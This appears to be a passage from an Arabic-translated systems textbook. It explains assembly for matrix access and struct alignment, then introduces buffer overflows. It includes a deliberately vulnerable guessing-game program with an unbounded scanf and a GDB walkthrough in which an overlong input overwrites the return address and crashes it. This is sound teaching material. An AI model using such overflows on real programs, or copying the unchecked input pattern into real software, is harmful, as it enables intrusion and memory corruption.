0x0804855b <+84>: jl 0x804851d <sumMat+22> #if (i < rows) goto sumMat+22
0x0804855d <+86>: mov -0xc(%ebp),%eax #copy total to eax
0x08048560 <+89>: leave #prepare to leave the function
0x08048561 <+90>: ret #return total
تُحمَّل المتغيرات المحلية i وj وtotal عند العناوين %ebp-4 و%ebp-8 و%ebp-12 على المكدّس على الترتيب. وتقع معاملات الإدخال m وrow وcols في المواقع %ebp+8 و%ebp+12 و%ebp+16 على الترتيب. وبالاستناد إلى هذه المعرفة، لنقرّب الصورة على المكوّن الذي يتعامل فقط مع الوصول إلى العنصر (i،j) في مصفوفتنا:
0x08048526 <+31>: mov -0x4(%ebp),%eax # copy i to eax
0x08048529 <+34>: imul 0x10(%ebp),%eax # multiply i with cols, place in eax
0x0804852d <+38>: mov %eax,%edx # copy i*cols to edx
تحسب المجموعة الأولى من التعليمات i * cols وتضع النتيجة في السجل %edx. وتذكّر أنه في مصفوفة اسمها matrix، تكافئ matrix + (i * cols) الصيغة &matrix[i].
0x0804852f <+40>: mov -0x8(%ebp),%eax # copy j to eax
0x08048532 <+43>: add %edx,%eax # add i*cols with j, place in eax
0x08048534 <+45>: lea 0x0(,%eax,4),%edx # multiply (i*cols+j) by 4, put in edx
تحسب المجموعة التالية من التعليمات (i * cols + j) * 4. ويضرب المترجم الفهرس (i * cols) + j في أربعة لأن كل عنصر في المصفوفة عدد صحيح من أربعة بايتات، ويمكّن هذا الضرب المترجم من حساب الإزاحة الصحيحة.
تضيف المجموعة الأخيرة من التعليمات الإزاحة المحسوبة إلى مؤشّر المصفوفة وتلغي الإشارة عنه للحصول على قيمة العنصر (i،j):
0x0804853b <+52>: mov 0x8(%ebp),%eax # copy m pointer to eax
0x0804853e <+55>: add %edx,%eax # add m to (i*cols+j)*4, place in eax
0x08048540 <+57>: mov (%eax),%eax # copy m[i*cols+j] to eax
0x08048542 <+59>: add %eax,-0xc(%ebp) # add eax to total
تحمّل التعليمة الأولى عنوان المصفوفة m في السجل %eax. وتضيف التعليمة add الإزاحة (i*cols + j)*4 إلى عنوان m لحساب عنوان العنصر (i،j) بشكل صحيح، ثم تضع هذا العنوان في السجل %eax. وتلغي التعليمة الثالثة الإشارة عن %eax وتضع القيمة الناتجة في السجل %eax. وتضيف التعليمة الأخيرة القيمة الموجودة في %eax إلى المجمّع total، الموجود عند عنوان المكدّس %ebp-0xc.
لننظر كيف يُوصَل إلى العنصر (1،2) في الشكل 2.
الشكل 3. تخطيط ذاكرة المصفوفة M1 بترتيب الصفوف أولًا
يقع العنصر (1،2) عند العنوان M1 + (1 * COLS) + 2. وبما أن COLS = 3، يقابل العنصر (1،2) الصيغة M1+5. وللوصول إلى العنصر في هذا الموقع، يجب على المترجم ضرب 5 في حجم نوع البيانات int (أربعة بايتات)، فينتج الإزاحة M1 + 20، التي تقابل البايت x20 في الشكل. وإلغاء الإشارة عند هذا الموقع يعطي العنصر 5، وهو بالفعل العنصر (1،2) في المصفوفة.
8.8.2. المصفوفة غير المتجاورة
تطبيق المصفوفة غير المتجاورة أعقد قليلًا. ويوضّح الشكل 4 كيف قد يكون M2 مرتّبًا في الذاكرة.
الشكل 4. تخطيط المصفوفة M2 غير المتجاور في الذاكرة
لاحظ أن مصفوفة المؤشرات متجاورة، وأن كل مصفوفة يشير إليها عنصر من M2 (مثل M2[i]) متجاورة. غير أن المصفوفات الفردية غير متجاورة مع بعضها.
تأخذ الدالة sumMatrix في المثال التالي مصفوفة من مؤشرات صحيحة (تسمى matrix) كمعاملها الأول، وعددًا من الصفوف والأعمدة كمعاملين ثاني وثالث:
int sumMatrix(int **matrix, int rows, int cols) {
int i, j, total=0;
for (i = 0; i < rows; i++) {
for (j = 0; j < cols; j++) {
total += matrix[i][j];
}
}
return total;
}
مع أن هذه الدالة تبدو شبه مطابقة للدالة sumMat المعروضة سابقًا، فإن المصفوفة التي تقبلها هذه الدالة تتكوّن من مصفوفة متجاورة من المؤشرات. ويحتوي كل مؤشر على عنوان مصفوفة متجاورة منفصلة، تقابل صفًا منفصلًا في المصفوفة.
والتالي هو شيفرة التجميع المقابلة للدالة sumMatrix. وكل سطر مشروح بترجمته.
0x080484ad <+0>: push %ebp # save ebp
0x080484ae <+1>: mov %esp,%ebp # update ebp (new stack frame)
0x080484b0 <+3>: sub $0x10,%esp # add 4 spaces to stack frame
0x080484b3 <+6>: movl $0x0,-0xc(%ebp) # copy 0 to %ebp-12 (total)
0x080484ba <+13>: movl $0x0,-0x4(%ebp) # copy 0 to %ebp-4 (i)
0x080484c1 <+20>: jmp 0x80484fa <sumMatrix+77> # goto <sumMatrix+77>
0x080484c3 <+22>: movl $0x0,-0x8(%ebp) # copy 0 to %ebp-8 (j)
0x080484ca <+29>: jmp 0x80484ee <sumMatrix+65> # goto <sumMatrix+65>
0x080484cc <+31>: mov -0x4(%ebp),%eax # copy i to %eax
0x080484cf <+34>: lea 0x0(,%eax,4),%edx # mult i by 4, place in %edx
0x080484d6 <+41>: mov 0x8(%ebp),%eax # copy matrix to %eax
0x080484d9 <+44>: add %edx,%eax # put (i * 4) + matrix in %eax
0x080484db <+46>: mov (%eax),%eax # copy matrix[i] to %eax
0x080484dd <+48>: mov -0x8(%ebp),%edx # copy j to %edx
0x080484e0 <+51>: shl $0x2,%edx # mult j by 4, place in %edx
0x080484e3 <+54>: add %edx,%eax # put (j*4)+matrix[i] in %eax
0x080484e5 <+56>: mov (%eax),%eax # copy matrix[i][j] to %eax
0x080484e7 <+58>: add %eax,-0xc(%ebp) # add matrix[i][j] to total
0x080484ea <+61>: addl $0x1,-0x8(%ebp) # add 1 to j (j+=1)
0x080484ee <+65>: mov -0x8(%ebp),%eax # copy j to %eax
0x080484f1 <+68>: cmp 0x10(%ebp),%eax # compare j with cols
0x080484f4 <+71>: jl 0x80484cc <sumMatrix+31> # if j<cols goto<sumMatrix+31>
0x080484f6 <+73>: addl $0x1,-0x4(%ebp) # add 1 to i (i+=1)
0x080484fa <+77>: mov -0x4(%ebp),%eax # copy i to %eax
0x080484fd <+80>: cmp 0xc(%ebp),%eax # compare i with rows
0x08048500 <+83>: jl 0x80484c3 <sumMatrix+22> # if i<rows goto<sumMatrix+22>
0x08048502 <+85>: mov -0xc(%ebp),%eax # copy total to %eax
0x08048505 <+88>: leave # prepare to leave function
0x08048506 <+89>: ret # return total
مرة أخرى، توجد المتغيرات i وj وtotal عند عناوين المكدّس %ebp-4 و%ebp-8 و%ebp-12 على الترتيب. وتقع معاملات الإدخال m وrow وcols عند عناوين المكدّس %ebp+8 و%ebp+12 و%ebp+16 على الترتيب.
ولنقرّب الصورة على القسم الذي يتعامل تحديدًا مع الوصول إلى العنصر (i،j)، أي matrix[i][j]:
0x080484cc <+31>: mov -0x4(%ebp),%eax # copy i to %eax
0x080484cf <+34>: lea 0x0(,%eax,4),%edx # multiply i by 4, place in %edx
0x080484d6 <+41>: mov 0x8(%ebp),%eax # copy matrix to %eax
0x080484d9 <+44>: add %edx,%eax # add i*4 to matrix, place in %eax
0x080484db <+46>: mov (%eax),%eax # copy matrix[i] to %eax
تحسب التعليمات الخمس بين و قيمة matrix[i]، أي *(matrix+i). لاحظ أن المترجم يحتاج إلى ضرب i في أربعة قبل إضافتها إلى matrix لحساب الإزاحة الصحيحة (تذكّر أن حجم المؤشرات أربعة بايتات). ثم تلغي التعليمة عند `` الإشارة عن العنوان المحسوب للحصول على العنصر matrix[i].
وبما أن matrix مصفوفة من مؤشرات int، فإن العنصر الموجود في matrix[i] هو نفسه مؤشر int. ويقع العنصر رقم j في matrix[i] عند الإزاحة j×4 في مصفوفة matrix[i].
تستخرج المجموعة التالية من التعليمات العنصر رقم j في المصفوفة matrix[i]:
0x080484dd <+48>: mov -0x8(%ebp),%edx # copy j to %edx
0x080484e0 <+51>: shl $0x2,%edx # multiply j by 4, place in %edx
0x080484e3 <+54>: add %edx,%eax # add j*4 to matrix[i], place in %eax
0x080484e5 <+56>: mov (%eax),%eax # copy matrix[i][j] to %eax
0x080484e7 <+58>: add %eax,-0xc(%ebp) # add matrix[i][j] to total
تحمّل التعليمة الأولى في هذا المقطع المتغير j في السجل %edx. ويستخدم المترجم تعليمة الإزاحة يسارًا (shl) لضرب j في أربعة ويخزّن النتيجة في السجل %edx. ثم يضيف المترجم القيمة الناتجة إلى العنوان الموجود في matrix[i] للحصول على عنوان matrix[i][j].
لنعد إلى الشكل 4 وننظر في مثال للوصول إلى M2[1][2]. وللراحة، نعيد إنتاج الشكل في الشكل 5.
الشكل 5. تخطيط المصفوفة M2 غير المتجاور في الذاكرة
لاحظ أن M2 تبدأ عند موقع الذاكرة x0. يحسب المترجم أولًا عنوان M2[1] بضرب 1 في 4 (sizeof(int *)) وإضافته إلى عنوان M2 (x0)، فينتج العنوان الجديد x4. وإلغاء الإشارة عند هذا العنوان يعطي العنوان المرتبط بـM2[1]، أي x36. ثم يضرب المترجم الفهرس 2 في 4 (sizeof(int))، ويضيف النتيجة (8) إلى x36، فينتج العنوان النهائي x44. ويُلغي المترجم الإشارة عند العنوان x44، فيحصل على القيمة 5. وبالفعل، فإن العنصر في الشكل 5 الذي يقابل M2[1][2] قيمته 5.
الـبنية (struct) طريقة أخرى لإنشاء مجموعة من أنواع البيانات في C. وخلافًا للمصفوفات، تمكّن البنى من تجميع أنواع بيانات مختلفة معًا. وتخزّن C البنية struct مثل مصفوفة أحادية البعد، حيث تُخزَّن عناصر البيانات (الحقول) بشكل متجاور.
لنعد إلى struct studentT من الفصل 1:
struct studentT {
char name[64];
int age;
int grad_yr;
float gpa;
};
struct studentT student;
يعرض الشكل 1 كيفية ترتيب student في الذاكرة. ولأجل المثال، لنفترض أن student تبدأ عند العنوان x0. ويشير كل xi إلى عنوان حقل.
الشكل 1. تخطيط الذاكرة للبنية student
تُخزَّن الحقول بشكل متجاور واحدًا بجانب الآخر في الذاكرة بالترتيب الذي عُرِّفت به. وفي الشكل 1، يُخصَّص الحقل age في موقع الذاكرة الذي يلي حقل name مباشرة (عند الإزاحة x64 بالبايت)، ويليه الحقلان grad_yr (الإزاحة x68) وgpa (الإزاحة x72). ويتيح هذا التنظيم وصولًا موفّرًا للذاكرة إلى الحقول.
لفهم كيفية توليد المترجم شيفرة تجميع للتعامل مع بنية struct، تأمّل الدالة initStudent:
void initStudent(struct studentT *s, char *nm, int ag, int gr, float g) {
strncpy(s->name, nm, 64);
s->grad_yr = gr;
s->age = ag;
s->gpa = g;
}
تستخدم الدالة initStudent العنوان الأساسي لبنية struct studentT كمعاملها الأول، والقيم المطلوبة لكل حقل كمعاملاتها المتبقية. ويعرض السرد التالي هذه الدالة بلغة التجميع. وبشكل عام، يقع المعامل رقم i للدالة initStudent عند عنوان المكدّس (ebp+8) + 4 × i.
<initStudent>:
<+0>: push %ebp # save ebp
<+1>: mov %esp,%ebp # update ebp (new stack frame)
<+3>: sub $0x18,%esp # add 24 bytes to stack frame
<+6>: mov 0x8(%ebp),%eax # copy first parameter (s) to eax
<+9>: mov 0xc(%ebp),%edx # copy second parameter (nm) to edx
<+12> mov $0x40,0x8(%esp) # copy 0x40 (or 64) to esp+8
<+16>: mov %edx,0x4(%esp) # copy nm to esp+4
<+20>: mov %eax,(%esp) # copy s to top of stack (esp)
<+23>: call 0x8048320 <strncpy@plt> # call strncpy(s->name, nm, 64)
<+28>: mov 0x8(%ebp),%eax # copy s to eax
<+32>: mov 0x14(%ebp),%edx # copy fourth parameter (gr) to edx
<+35>: mov %edx,0x44(%eax) # copy gr to offset eax+68 (s->grad_yr)
<+38>: mov 0x8(%ebp),%eax # copy s to eax
<+41>: mov 0x10(%ebp),%edx # copy third parameter (ag) to edx
<+44>: mov %edx,0x40(%eax) # copy ag to offset eax+64 (s->age)
<+47>: mov 0x8(%ebp),%edx # copy s to edx
<+50>: mov 0x18(%ebp),%eax # copy g to eax
<+53>: mov %eax,0x48(%edx) # copy g to offset edx+72 (s->gpa)
<+56>: leave # prepare to leave the function
<+57>: ret # return
يُعدّ الانتباه إلى إزاحات البايتات لكل حقل مفتاحًا لفهم هذه الشيفرة. وإليك بعض الأمور التي يجب تذكّرها.
- يستدعي
strncpyالعنوان الأساسي لحقلnameفيs، وعنوان المصفوفةnm، ومحدّد طول، كوسائطه الثلاثة. وتذكّر أنه بما أنnameهو الحقل الأول فيstruct studentT، فإن عنوانsمرادف لعنوانs→name.
<+6>: mov 0x8(%ebp),%eax # copy first parameter (s) to eax
<+9>: mov 0xc(%ebp),%edx # copy second parameter (nm) to edx
<+12> mov $0x40,0x8(%esp) # copy 0x40 (or 64) to esp+8
<+16>: mov %edx,0x4(%esp) # copy nm to esp+4
<+20>: mov %eax,(%esp) # copy s to top of stack (esp)
<+23>: call 0x8048320 <strncpy@plt> # call strncpy(s->name, nm, 64)
- يضع الجزء التالي من الشيفرة (التعليمات
حتى) قيمة المعاملgrعند إزاحة 68 من بدايةs. وبالعودة إلى تخطيط الذاكرة في الشكل 1 نرى أن هذا العنوان يقابلs→grad_yr.
<+28>: mov 0x8(%ebp),%eax # copy s to eax
<+32>: mov 0x14(%ebp),%edx # copy fourth parameter (gr) to edx
<+35>: mov %edx,0x44(%eax) # copy gr to offset eax+68 (s->grad_yr)
- ينسخ القسم التالي من الشيفرة (التعليمات
حتى) المعاملagإلى الحقلs→age. وبعد ذلك، تُنسخ قيمة المعاملgإلى الحقلs→gpa(إزاحة البايت 72):
<+38>: mov 0x8(%ebp),%eax # copy s to eax
<+41>: mov 0x10(%ebp),%edx # copy third parameter (ag) to edx
<+44>: mov %edx,0x40(%eax) # copy ag to offset eax+64 (s->age)
<+47>: mov 0x8(%ebp),%edx # copy s to edx
<+50>: mov 0x18(%ebp),%eax # copy g to eax
<+53>: mov %eax,0x48(%edx) # copy g to offset edx+72 (s->gpa)
8.9.1. محاذاة البيانات والبنى
تأمّل التعريف المعدّل التالي لـstruct studentT:
struct studentTM {
char name[63]; //updated to 63 instead of 64
int age;
int grad_yr;
float gpa;
};
struct studentTM student2;
عُدّل حجم الحقل name ليصبح 63 بايت بدلًا من 64 الأصلية. تأمّل كيف يؤثر ذلك في طريقة ترتيب البنية struct في الذاكرة. وقد يغريك تصورها كما في الشكل 2.
الشكل 2. تخطيط ذاكرة غير صحيح للبنية المحدَّثة studentTM. لاحظ أن حقل "name" في البنية تقلّص من 64 إلى 63 بايت.
في هذا التصوير، يشغل الحقل age البايت الذي يلي حقل name مباشرة. لكن هذا غير صحيح. ويعرض الشكل 3 التخطيط الفعلي في الذاكرة.
الشكل 3. تخطيط الذاكرة الصحيح للبنية المحدَّثة studentTM. أضاف المترجم البايت x63 لتلبية قيود محاذاة الذاكرة، لكنه لا يقابل أيًّا من الحقول.
تتطلب سياسة المحاذاة في IA32 أن تقع أنواع البيانات ذات البايتين (مثل short) عند عنوان محاذى لبايتين، بينما تقع أنواع البيانات ذات الأربعة بايتات (int وfloat وlong وأنواع المؤشرات) عند عناوين محاذاة لأربعة بايتات، وتقع أنواع البيانات ذات الثمانية بايتات (double وlong long) عند عناوين محاذاة لثمانية بايتات. وبالنسبة للبنية struct، يضيف المترجم بايتات فارغة كـحشو (padding) بين الحقول لضمان أن كل حقل يلبّي متطلبات محاذاته. فمثلًا، في البنية struct المعرّفة في مقطع الشيفرة السابق، يضيف المترجم بايتًا من المساحة الفارغة (أو الحشو) عند البايت x63 لضمان أن يبدأ الحقل age عند عنوان من مضاعفات أربعة. ويمكن قراءة القيم المحاذاة بشكل صحيح في الذاكرة أو كتابتها في عملية واحدة، ما يتيح كفاءة أكبر.
تأمّل ما يحدث عندما تُعرَّف البنية struct كما يلي:
struct studentTM {
int age;
int grad_yr;
float gpa;
char name[63];
};
struct studentTM student3;
نقل مصفوفة name إلى النهاية ينقل بايت الحشو إلى نهاية البنية، ما يضمن أن age وgrad_yr وgpa محاذاة لأربعة بايتات.
لا تنفّذ لغة C فحصًا تلقائيًا لحدود المصفوفات. والوصول إلى ذاكرة خارج حدود المصفوفة مشكلة كثيرًا ما يؤدي إلى أخطاء مثل أخطاء التجزئة. غير أن مهاجمًا بارعًا يمكنه حقن شيفرة خبيثة تتجاوز حدود مصفوفة (تُعرف أيضًا بـالمخزن المؤقت) عمدًا لإجبار البرنامج على التنفيذ بطريقة غير مقصودة. وفي أسوأ الحالات، يمكن للمهاجم تشغيل شيفرة تمكّنه من الحصول على صلاحية الجذر (root privilege)، أي الوصول إلى النظام على مستوى نظام التشغيل. ويُعرف البرنامج الذي يستغل وجود خطأ تجاوز مخزن مؤقت معروف في برنامج بأنه استغلال تجاوز المخزن المؤقت (buffer overflow exploit).
نستخدم في هذا القسم GDB ولغة التجميع لتوصيف آليات استغلال تجاوز المخزن المؤقت توصيفًا كاملًا. وقبل قراءة هذا الفصل، نشجّعك على استكشاف الفصل الذي يناقش استخدام GDB لفحص شيفرة التجميع.
8.10.1. أمثلة شهيرة على تجاوز المخزن المؤقت
ظهرت استغلالات تجاوز المخزن المؤقت في ثمانينيات القرن الماضي وظلت بلاءً رئيسيًا لصناعة الحوسبة حتى أوائل الألفينيات. ومع أن كثيرًا من أنظمة التشغيل الحديثة توفّر حمايات ضد أبسط هجمات تجاوز المخزن المؤقت، فإن أخطاء البرمجة الناتجة عن الإهمال لا تزال قادرة على ترك البرامج الحديثة مفتوحة تمامًا للهجوم. وقد اكتُشفت مؤخرًا استغلالات لتجاوز المخزن المؤقت في Skype1 وAndroid2 وGoogle Chrome3 وغيرها.
وفيما يلي بعض الأمثلة التاريخية البارزة على استغلالات تجاوز المخزن المؤقت.
دودة موريس
أُطلقت دودة موريس4 في عام 1988 على ARPANet من معهد MIT (لإخفاء أنها كُتبت بأيدي طالب في جامعة كورنيل)، واستغلت ثغرة تجاوز مخزن مؤقت كانت موجودة في عفريت (daemon) الأمر finger في Unix وهو fingerd. وفي Linux وغيره من الأنظمة الشبيهة بـUnix، يكون العفريت (daemon) نوعًا من العمليات التي تُنفَّذ باستمرار في الخلفية، وتؤدي عادةً مهام التنظيف والمراقبة. ويعيد العفريت fingerd تقريرًا ودّيًا عن حاسوب أو شخص. والأهم من ذلك، كانت للدودة آلية تكاثر جعلتها تُرسَل إلى الحاسوب نفسه مرات عدة، مما أرهق النظام حتى أصبح غير صالح للاستخدام. ومع أن مؤلفها ادّعى أنها كانت تمرينًا فكريًا غير ضار، فقد مكّنت آلية التكاثر الدودة من الانتشار بسهولة وجعلت إزالتها صعبة. وفي سنوات لاحقة، استخدمت ديدان أخرى استغلالات تجاوز المخزن المؤقت للوصول غير المصرّح به إلى الأنظمة. ومن الأمثلة البارزة Code Red (2001) وMS-SQLSlammer (2003) وW32/Blaster (2003).
حروب الدردشة في AOL
روى ديفيد أورباخ5، وهو مهندس سابق في Microsoft، تجربته مع تجاوز مخزن مؤقت أثناء جهوده لدمج خدمة Messenger Service (MMS) من Microsoft مع AOL Instant Messenger في أواخر تسعينيات القرن الماضي. في ذلك الوقت، كانت AOL Instant Messenger (AIM) الخدمة التي ينبغي استخدامها إذا أردت إرسال رسائل فورية (IM) إلى الأصدقاء والعائلة. وحاولت Microsoft الحصول على موطئ قدم في هذا السوق بتصميم ميزة في MMS تمكّن مستخدمي MMS من التحدث إلى "أصدقائهم" في AIM. وانزعجت AOL، فرقّعت خواديمها بحيث لم يعد MMS قادرًا على الاتصال بها. ووجد مهندسو Microsoft طريقة تجعل عملاء MMS يقلّدون الرسائل التي يرسلها عملاء AIM إلى خواديم AOL، فأصبح من الصعب على AOL التمييز بين الرسائل الواردة من MMS وAIM. وردّت AOL بتغيير طريقة AIM في إرسال الرسائل، فغيّر مهندسو MMS رسائل عميلهم بحسبها لتطابق رسائل AIM مرة أخرى. واستمرت "حرب الدردشة" هذه حتى بدأت AOL في استخدام خطأ تجاوز مخزن مؤقت في عميلها هي للتحقق من أن الرسائل المرسلة تأتي من عملاء AIM. وبما أن عملاء MMS لم يحملوا الثغرة نفسها، انتهت حروب الدردشة بفوز AOL.
8.10.2. نظرة أولى: لعبة التخمين
لمساعدتك على فهم آلية هجوم تجاوز المخزن المؤقت، نوفّر ملفًا تنفيذيًا ذا 32 بت لبرنامج بسيط يمكّن المستخدم من لعب لعبة تخمين مع البرنامج. نزّل الملف التنفيذي secret من هذا الرابط واستخرجه باستخدام الأمر tar:
$ tar -xzvf secret.tar.gz
وفيما يلي نسخة من main.c (main.c)، الملف الرئيسي المرتبط بالملف التنفيذي:
#include <stdio.h>
#include <stdlib.h>
#include "other.h" //contains secret function definitions
/*prints out the You Win! message*/
void endGame(void) {
printf("You win!\n");
exit(0);
}
/*main function of the game*/
int main(void) {
int guess, secret, len;
char buf[12]; //buffer (12 bytes long)
printf("Enter secret number:\n");
scanf("%s", buf); //read guess from user input
guess = atoi(buf); //convert to an integer
secret = getSecretCode(); //call the getSecretCode() function
//check to see if guess is correct
if (guess == secret) {
printf("You got it right!\n");
}
else {
printf("You are so wrong!\n");
return 1; //if incorrect, exit
}
printf("Enter the secret string to win:\n");
scanf("%s", buf); //get secret string from user input
guess = calculateValue(buf, strlen(buf)); //call calculateValue function
//check to see if guess is correct
if (guess != secret){
printf("You lose!\n");
return 2; //if guess is wrong, exit
}
/*if both the secret string and number are correct
call endGame()*/
endGame();
return 0;
}
تطلب هذه اللعبة من المستخدم إدخال رقم سري أولًا ثم سلسلة سرية للفوز بلعبة التخمين. ويحتوي ملف الترويسة other.h على تعريف الدالتين getSecretCode وcalculateValue، لكنه غير متاح لنا. فكيف يمكن للمستخدم التغلّب على البرنامج إذن؟ سيستغرق الحل بالقوة الغاشمة وقتًا طويلًا جدًا. وإحدى الاستراتيجيات هي تحليل الملف التنفيذي secret في GDB والتقدم عبر شيفرة التجميع للكشف عن الرقم السري والسلسلة السرية. وتُعرف عملية فحص شيفرة التجميع للكشف عن معرفة طريقة عملها عمومًا بـالهندسة العكسية. وينبغي أن يكون القراء المرتاحون لمهاراتهم في GDB وقراءة لغة التجميع قادرين على استخدام GDB لهندسة الرقم السري والسلسلة السرية عكسيًا.
غير أن هناك طريقة أخرى وأكثر مكرًا للفوز.
8.10.3. نظرة أقرب (تحت السطح)
يحتوي البرنامج على ثغرة تجاوز مخزن مؤقت محتملة عند أول استدعاء لـscanf. لفهم ما يجري، لنفحص شيفرة التجميع للدالة main باستخدام GDB. ولنضع أيضًا نقطة توقف عند العنوان 0x0804859f، وهو عنوان التعليمة التي تسبق استدعاء scanf مباشرة (فوضع نقطة التوقف عند عنوان scanf يوقف تنفيذ البرنامج داخل استدعاء scanf، لا في main).
0x08048582 <+0>: push %ebp
0x08048583 <+1>: mov %esp,%ebp
0x08048588 <+6>: sub $0x38,%esp
0x0804858b <+9>: movl $0x8048707,(%esp)
0x08048592 <+16>: call 0x8048390 <printf@plt>
0x08048597 <+21>: lea 0x1c(%esp),%eax
0x0804859b <+25>: mov %eax,0x4(%esp)
=> 0x0804859f <+29>: movl $0x804871c,(%esp)
0x080485a6 <+36>: call 0x80483e0 <scanf@plt>
يعرض الشكل 1 المكدّس مباشرة قبل استدعاء scanf.
الشكل 1. مكدّس الاستدعاء مباشرة قبل استدعاء scanf
قبل استدعاء scanf، تُحمَّل وسائط scanf مسبقًا على المكدّس، بحيث يكون الوسيط الأول في قمة المكدّس والوسيط الثاني في عنوان واحد أسفلها. وتنشئ التعليمة lea عند الموقع `` المرجع للمصفوفة buf.
الآن، لنفترض أن المستخدم أدخل 12345678 عند المطالبة. ويوضّح afterScanf شكل المكدّس مباشرة بعد اكتمال استدعاء scanf.
الشكل 2. مكدّس الاستدعاء مباشرة بعد استدعاء scanf مع الإدخال 12345678
تذكّر أن القيم السداسية العشرية لترميزات ASCII للأرقام من 0 إلى 9 هي من 0x30 إلى 0x39، وأن كل موقع في ذاكرة المكدّس طوله أربعة بايتات. ويبعد مؤشّر الإطار 56 بايت عن مؤشّر المكدّس. ويمكن للقراء المتتبعين تأكيد قيمة %ebp باستخدام GDB لطباعة قيمته (p $ebp). وفي المثال المعروض، قيمة %ebp هي 0xffffd428. ويتيح الأمر التالي للقارئ فحص 64 بايت (بالنظام السداسي العشري) أسفل السجل %esp:
(gdb) x /64bx $esp
ينتج أمر GDB هذا مخرجات شبيهة بما يلي:
0xffffd3f0: 0x1c 0x87 0x04 0x08 0x0c 0xd4 0xff 0xff
0xffffd3f8: 0x00 0xa0 0x04 0x08 0xb2 0x86 0x04 0x08
0xffffd400: 0x01 0x00 0x00 0x00 0xc4 0xd4 0xff 0xff
0xffffd408: 0xcc 0xd4 0xff 0xff 0x31 0x32 0x33 0x34
0xffffd410: 0x35 0x36 0x37 0x38 0x00 0x80 0x00 0x00
0xffffd418: 0x6b 0x86 0x04 0x08 0x00 0x80 0xfb 0xf7
0xffffd420: 0x60 0x86 0x04 0x08 0x00 0x00 0x00 0x00
0xffffd428: 0x00 0x00 0x00 0x00 0x43 0x5a 0xe1 0xf7
يمثّل كل سطر كلمتين من 32 بت. لذا، يمثّل السطر الأول الكلمتين عند العنوانين 0xffffd3f0 و0xffffd3f4. وبالنظر إلى قمة المكدّس، نرى عنوان الذاكرة المرتبط بالسلسلة "%s" (أو 0x0804871c) يليه عنوان buf (أو 0xffffd40c). ولاحظ أن عنوان buf يُمثَّل ببساطة بالشكل 0x40c في أشكال هذا القسم.
ملاحظة — القيم متعددة البايتات تُخزَّن بترتيب little-endian
في مقطع التجميع السابق، البايت عند العنوان 0xfffffd3f0 هو 0x1c، والبايت عند العنوان 0xfffffd3f1 هو 0x87، والبايت عند العنوان 0xfffffd3f2 هو 0x04، والبايت عند العنوان 0xfffffd3f3 هو 0x08. غير أن القيمة ذات 32 بت (التي تقابل عنوان ذاكرة السلسلة
"%s") عند العنوان 0xfffffd3f0 هي في الحقيقة 0x0804871c. وتذكّر أنه بما أن x86 نظام little endian، فإن بايتات القيم متعددة البايتات مثل العناوين تُخزَّن بترتيب معكوس. وبالمثل، تُخزَّن البايتات المقابلة لعنوان المصفوفةbuf(0xffffd40c) بترتيب معكوس عند العنوان 0xfffffd3f4.
تقع البايتات المرتبطة بالعنوان 0xffffd40c في السطر نفسه الذي تقع فيه البايتات المرتبطة بالعنوان 0xffffd408، وهي الكلمة الثانية في ذلك السطر. وبما أن مصفوفة buf طولها 12 بايت، تمتد عناصر buf عبر 12 بايت من العنوان 0xffffd40c إلى العنوان 0xffffd417. وفحص البايتات في تلك العناوين يعطي:
0xffffd408: 0xcc 0xd4 0xff 0xff 0x31 0x32 0x33 0x34
0xffffd410: 0x35 0x36 0x37 0x38 0x00 0x80 0x00 0x00
في هذه المواقع، نرى بوضوح التمثيل السداسي العشري للسلسلة المُدخَلة 12345678. ويظهر بايت الإنهاء الصفري \0 في موقع البايت الواقع في أقصى اليسار عند العنوان 0xffffd414. وتذكّر أن scanf تُنهي جميع السلاسل ببايت صفري.
بالطبع، 12345678 ليس الرقم السري. وإليك المخرجات عندما نحاول تشغيل secret بالسلسلة المُدخَلة 12345678:
$ ./secret
$ ./secret
Enter secret number:
12345678
You are so wrong!
$ echo $?
1
يطبع الأمر echo $? قيمة إرجاع آخر أمر نُفِّذ في الصدفة. وفي هذه الحالة، أعاد البرنامج 1 لأن الرقم السري الذي أدخلناه خاطئ. وتذكّر أنه حسب الاصطلاح، تعيد البرامج 0 عندما لا توجد أخطاء. وهدفنا في ما يلي هو خداع البرنامج ليخرج بقيمة إرجاع 0، ما يدل على أننا فزنا باللعبة.
8.10.4. تجاوز المخزن المؤقت: المحاولة الأولى
بعد ذلك، لنحاول كتابة السلسلة 1234567890123456789012345678901234:
$ ./secret
Enter secret number:
1234567890123456789012345678901234
You are so wrong!
Segmentation fault (core dumped)
$ echo $?
139
مثير للاهتمام! الآن ينهار البرنامج بخطأ تجزئة، برمز إرجاع 139. ويعرض الشكل 3 شكل مكدّس الاستدعاء للدالة main مباشرة بعد استدعاء scanf بهذا الإدخال الجديد.
الشكل 3. مكدّس الاستدعاء مباشرة بعد استدعاء scanf مع الإدخال 1234567890123456789012345678901234
السلسلة المُدخَلة طويلة جدًا لدرجة أنها لم تستبدل القيمة المخزّنة عند العنوان 0x428 فحسب، بل تجاوزتها إلى عنوان الإرجاع أسفل إطار المكدّس للدالة main. وتذكّر أنه عند عودة دالة، يحاول البرنامج استئناف التنفيذ عند العنوان المحدّد بعنوان الإرجاع. وفي هذا المثال، يحاول البرنامج استئناف التنفيذ عند العنوان 0xf7003433 بعد الخروج من main، وهو عنوان غير موجود. لذا ينهار البرنامج بخطأ تجزئة.
وتشغيل البرنامج مرة أخرى في GDB (يحتوي input.txt على السلسلة المُدخَلة أعلاه) يكشف هذا العمل الشيطاني أثناء حدوثه:
$ gdb secret
(gdb) break *0x804859b
(gdb) ni
(gdb) run < input.txt
(gdb) x /64bx $esp
0xffffd3f0: 0x1c 0x87 0x04 0x08 0x0c 0xd4 0xff 0xff
0xffffd3f8: 0x00 0xa0 0x04 0x08 0xb2 0x86 0x04 0x08
0xffffd400: 0x01 0x00 0x00 0x00 0xc4 0xd4 0xff 0xff
0xffffd408: 0xcc 0xd4 0xff 0xff 0x31 0x32 0x33 0x34
0xffffd410: 0x35 0x36 0x37 0x38 0x39 0x30 0x31 0x32
0xffffd418: 0x33 0x34 0x35 0x36 0x37 0x38 0x39 0x30
0xffffd420: 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38
0xffffd428: 0x39 0x30 0x31 0x32 0x33 0x34 0x00 0xf7
لاحظ أن السلسلة المُدخَلة تجاوزت الحدود المعلَنة للمصفوفة buf، واستبدلت جميع القيم الأخرى المخزّنة على المكدّس. وبعبارة أخرى، أنشأت سلسلتنا تجاوزًا للمخزن المؤقت وأفسدت مكدّس الاستدعاء، ما تسبب في انهيار البرنامج. وتُعرف هذه العملية أيضًا بـتحطيم المكدّس (smashing the stack).
